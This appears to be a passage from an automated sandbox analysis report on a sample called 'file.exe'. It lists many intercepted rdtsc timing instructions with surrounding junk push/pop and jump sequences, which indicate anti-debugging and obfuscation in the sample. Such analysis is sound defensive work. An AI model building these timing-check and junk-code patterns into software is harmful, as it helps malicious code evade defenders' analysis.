Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968EDE second address: 968EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9691F3 second address: 969211 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edx 0x0000000b push ecx 0x0000000c je 00007F228CBCA0A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96ED26 second address: 96ED2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96ED2E second address: 96ED34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96ED34 second address: 96ED39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DCE5 second address: 96DCEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DCEA second address: 96DCF4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F228D5156CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DE63 second address: 96DE69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DFE1 second address: 96DFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DFE5 second address: 96DFE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E130 second address: 96E136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E136 second address: 96E14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F228CBCA0A6h 0x0000000a popad 0x0000000b jmp 00007F228CBCA0AAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E14B second address: 96E156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F228D5156C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E156 second address: 96E15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E15C second address: 96E162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E290 second address: 96E296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E407 second address: 96E416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E416 second address: 96E420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E420 second address: 96E424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D5EC second address: 96D5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D5F0 second address: 96D604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F228D5156CEh 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F228D5156C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D604 second address: 96D618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jns 00007F228CBCA0A6h 0x0000000b popad 0x0000000c jne 00007F228CBCA0ACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974275 second address: 97427A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AD78 second address: 97AD7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AD7C second address: 97AD80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E3D6 second address: 97E3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E3DA second address: 97E3E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E3E0 second address: 97E3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E3EC second address: 97E3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E3F0 second address: 97E3F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DD27 second address: 97DD48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D5h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E09B second address: 97E09F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E09F second address: 97E0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228D5156D5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986613 second address: 98661B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98661B second address: 986623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986623 second address: 986675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228CBCA0B7h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jp 00007F228CBCA0A6h 0x00000014 jmp 00007F228CBCA0B9h 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e jmp 00007F228CBCA0AEh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986675 second address: 98669E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F228D5156C6h 0x0000000f jp 00007F228D5156C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9850AF second address: 9850CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F228CBCA0B7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9850CB second address: 985100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228D5156D7h 0x00000009 jmp 00007F228D5156D5h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985100 second address: 985104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985104 second address: 985108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985678 second address: 98567C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98567C second address: 9856B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F228D5156D8h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9856B2 second address: 9856B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9857E7 second address: 9857EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985974 second address: 98597A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98597A second address: 985984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98958A second address: 989592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9892F4 second address: 9892F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CA5D second address: 98CA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CA62 second address: 98CA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnp 00007F228D5156C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CA6E second address: 98CA72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CA72 second address: 98CA85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F228D5156C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CA85 second address: 98CA89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CA89 second address: 98CA8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CA8D second address: 98CA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CBEF second address: 98CBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98CBF3 second address: 98CBFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F228CBCA0A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 995958 second address: 99597F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F228D5156D5h 0x0000000d popad 0x0000000e pushad 0x0000000f jnp 00007F228D5156C6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99597F second address: 995991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a js 00007F228CBCA0A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993ABA second address: 993ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C38 second address: 993C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C3E second address: 993C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C47 second address: 993C54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C54 second address: 993C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993F25 second address: 993F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994A86 second address: 994A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994A8B second address: 994A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jo 00007F228CBCA0A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B00E second address: 99B037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F228D5156CEh 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 jmp 00007F228D5156CEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EFAE second address: 99EFB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E152 second address: 99E156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EC71 second address: 99EC7B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F228CBCA0A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EC7B second address: 99EC83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5EA8 second address: 9A5EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5EAD second address: 9A5EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5EB2 second address: 9A5ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F228CBCA0A6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F228CBCA0B4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A603F second address: 9A6043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6043 second address: 9A6049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A646A second address: 9A646E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A65AB second address: 9A65B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A65B2 second address: 9A65D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F228D5156D5h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6B35 second address: 9A6B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6B3E second address: 9A6B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6C39 second address: 9A6C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6C42 second address: 9A6C49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6C49 second address: 9A6C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F228CBCA0A6h 0x0000000a popad 0x0000000b jp 00007F228CBCA0AEh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jl 00007F228CBCA0BAh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5A13 second address: 9A5A34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F228D5156D3h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F228D5156C6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAB4F second address: 9AAB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEB57 second address: 8EEB67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F228D5156C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEB67 second address: 8EEBA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F228CBCA0B2h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F228CBCA0AFh 0x00000013 push ebx 0x00000014 jmp 00007F228CBCA0B6h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF7C7 second address: 9AF7E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F228D5156D4h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF4B1 second address: 9AF4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F228CBCA0A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF4BE second address: 9AF4C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF4C4 second address: 9AF4CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B53D4 second address: 9B53FD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F228D5156DDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B53FD second address: 9B5403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B5403 second address: 9B5409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF28E second address: 9BF296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF3C2 second address: 9BF3CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1999 second address: 9C19A9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F228CBCA0B2h 0x00000008 jl 00007F228CBCA0A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4600 second address: 9C4606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4606 second address: 9C4613 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F228CBCA0A8h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3058 second address: 9D3065 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA29E second address: 9DA2A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA2A8 second address: 9DA2B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156CAh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
